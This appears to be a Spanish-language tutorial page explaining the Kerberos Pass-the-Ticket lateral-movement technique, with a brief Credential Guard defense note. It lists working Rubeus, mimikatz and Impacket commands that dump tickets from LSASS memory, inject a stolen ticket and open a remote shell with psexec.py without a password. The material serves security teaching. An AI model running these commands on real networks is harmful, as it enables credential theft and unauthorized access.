Movimiento lateral

Pass-the-Ticket

Cómo un atacante reutiliza un ticket Kerberos robado para autenticarse como otro usuario sin la contraseña ni el hash.

Qué es

Pass-the-Ticket reutiliza un ticket Kerberos robado para autenticarse como otro usuario. No necesita la contraseña ni el hash. Con el ticket basta para acceder a cualquier servicio que acepte Kerberos.

Cómo funciona

Un ticket Kerberos es una credencial al portador. El servicio comprueba que el ticket sea válido y lee la identidad que lleva dentro, pero no verifica que quien lo presenta sea su dueño. El atacante extrae un TGT o un TGS de la memoria de LSASS en un host ya comprometido. Lo inyecta en su propia sesión y lo presenta como si fuera el usuario legítimo. Un TGT robado pide tickets para cualquier servicio; un TGS solo sirve para uno. El ticket vale hasta que expira.

Diagrama

Comandos

Volcar los tickets de la memoria en Windows con Rubeus:

Rubeus.exe dump /nowrap

Exportar los tickets a archivos .kirbi con mimikatz:

sekurlsa::tickets /export

Inyectar un ticket en la sesión actual con Rubeus:

Rubeus.exe ptt /ticket:<FILE>

Inyectar un archivo .kirbi con mimikatz:

kerberos::ptt <FILE>

Convertir entre .kirbi y .ccache para usarlo desde Linux con Impacket:

ticketConverter.py <FILE> <FILE>

Usar el ticket desde Linux con Impacket, por Kerberos y sin contraseña:

export KRB5CCNAME=<FILE>
psexec.py -k -no-pass <DOMAIN>/<USER>@<HOST>

Cómo defenderse

Credential Guard aísla los tickets en LSASS y corta la extracción de la que depende el ataque.

Siguiente

Puedes seguir leyendo aquí:

Movimiento lateralPass the Hash

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.